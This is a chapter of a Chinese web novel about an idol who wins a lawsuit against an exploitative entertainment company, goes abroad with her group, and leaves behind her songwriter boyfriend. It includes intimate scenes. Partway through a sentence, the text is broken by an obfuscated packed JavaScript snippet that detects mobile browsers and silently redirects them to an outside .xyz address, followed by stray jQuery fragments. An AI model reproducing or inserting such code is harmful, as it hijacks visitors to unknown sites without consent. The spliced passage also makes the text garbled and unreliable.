2. 前世(2)改写规则
作品:《重生改命失忆后》 东亚各国的流行文化向来风光不过30年,公司也很清楚这种趋势,且人生短短几十年,什么可持续发展?逮住一个能赚快钱的团体迅速榨干、攫取富贵才是最重要的。艺人因此报废?谢天谢地啊!免得一个个“功高震主”。
能够盈利的公司多多少少都有这样的心态,只不过有的会顾及历史教训,有的则对失败案例毫无敬畏之心。我所在的公司就是后者,??也不知是不是数钱数红了眼,这些高层忘记了最本质的一件事:艺人也是人,是鲜活的、有着趋利避害本能的生物,当假账做到了影响生存的地步,再温顺的生物也会触底反弹。
不过,由于夫人断了投资,我不得不开始考虑反弹的代价,更怕队友与我不是一心。
好在,经过一番商议,我们一致表示:“不做机器人做活人!”
向法院提交证据后,一切都变得很不顺利,公司太会拿无关事物转移视线,还雇佣水军把舆论搅得乱七八糟。
幸亏法院不看这些,最终判定我们胜诉,不再是公司的所属艺人。而随着合约内容的曝光,国内公平委员会不得不倒逼行业改变规则。一时间,几乎所有的娱乐公司都被动了蛋糕。
按照杀鸡儆猴的定律,我们在本土的活动是一定会被封杀的,唯一的路就是出国从头开始。
出国前夕,队友们含泪与父母作别,我没有父母,只能奔向我的男朋友——韩央。
他是同公司第二代天团“北斗七星”的成员,也是我选秀时的评委,我对他一见钟情,或者,更现实一些:见色起意。只是这份“意”整整持续了8年,给那个平平无奇的初见套上了暧昧的滤镜。
“是我没用,拿不出违约金,不能跟你一起走。”
激情过后,他搂着我,不住的对我道歉。而是我的关注点却是他明显回春的嗓音和越来越健硕的胸膛。
作为上一代“天团”成员,韩央是不可能逃过压榨的,他的合约跟我一样,整整15年,还不包括服役。行程就更别说了,上升期和巅峰期简直能用恐怖形容,好几个月日均工作时长都达到了20小时以上,导致了一位队友的离世。
为公司赚取两栋大楼,付出随时有可能丢命的代价,却只能换来倒成破锣的嗓音、羸弱不堪的身体、至今无法在市中心买房的存款。好在现在啊吸金能力减弱,行程越发健康,所以才有了肉眼可见的回春状态。
“等一切都安定下来,我们就结婚好不好?”在我的挑逗下,他又有了反应,我趁机跟他交换位置,说出那句打官司之初就想说的话。
今年是他出道的第15年,加上服役时间,他的合约还有2年到期,我正好趁此打实基业,为我们的未来铺平道路。
“我是求之不得,就怕委屈了你。”他的手怜惜地抚摸我的面庞,水眼满含歉意。
他总是这样,觉得配不上我,确定关系前常常用这种眼神拒绝我,是我足够坚持才抱得美人归。后来,他“无意间”透露早前的拒绝其实是口是心非,我冲动之下问他为什么?他顺着疑问给我讲了几个黑相公的故事。
联想到我那不堪回首的过去,我心疼的抱住他,与之抵死缠绵。
汗腺大开之时,他像是突然想起了什么,指着不远处的公文包喘息道:“那里……是我整理的……的一些曲子,都是以前写的,不过进行了大幅度的修改……多数在你们的风格范围内……有些……有些要强烈点,反正每首都留有不少改编空间,到时候看……看你们需要。当然,你们都是有创作灵气的才女,这些也可能没什么用,主要是怕你们开始会碰钉子,这点东西可以拿来对冲。唉!我没钱没权,给不了别的,只有这些了,你们一定要顺利!”
说着说着,韩央又落泪了,我最看不得他这样,连忙安慰:“怎么会没用?我们被公司限制打压了这么久,再有灵气也快磨没了,你的镐子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926203|160518||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
刚好可以给我们练练手。而且你知道吗?我着几天试探性地联系了国内很多制作人,结果无论咖位大小,都拒绝给我们写歌。至于国外,那些人的手虽然伸不了那么长,但现在是全球市场,大公司之间少不得交流,而我们也受够了权力的摆布,联系的都是小公司。但小公司又招不到好的制作人,你的曲子正好解了我们的燃眉之急!所以我不仅要用,还会用尽一切力量把你的名字放到最大!你的才华,应该被看见了。”
“谢谢~”他双手合十,对着我深深作揖,随后倒在我的颈窝里崩溃大哭。
这回我不再开口,甚至想跟他一起哭。
10年前,他也曾就合约问题与公司一路谈到法院,偏偏临到上诉,队友的母亲无病暴毙,使他再也不敢轻举妄动,终于败下阵来。
降将是没有尊严可言的,10年来,他写了近300首曲子,不说首首精品吧,至少高于市面上的流水线,可是无耻的制作人要么洗稿占为己有,要么直接扔进粉碎机。
“你要相信自然界的守恒定律,那些人对你做的孽,自会有人让他们奉还。”手指伸入他茂密的发丛,我坚定地承诺道。
“明夏~明夏~明夏~明夏……”也许他也不知道该回我什么,只能把满腹的柔情融化在我的名字里。
在他的低唤中,我挂着泪痕进入梦乡。
短暂的温情过后,我和队友在韩央不舍的目光下离开了国土。
在国外,我们以新人的姿态重新出发,凭借人气基础稳扎稳打。终于在第708天,登上了那座象征成功的舞台,四面全开,好不风光。
至于个中苦楚,自有短暂的碰头或电话为我治愈,可以看出,随着成功署名,他变得越来越开朗,越来越自信。期满将近时,重逢成为了我们话题的中心,他托我帮他介绍事务所。
那几天,我真的以为幸福近在眼前,却忘了,他也是有过去的人。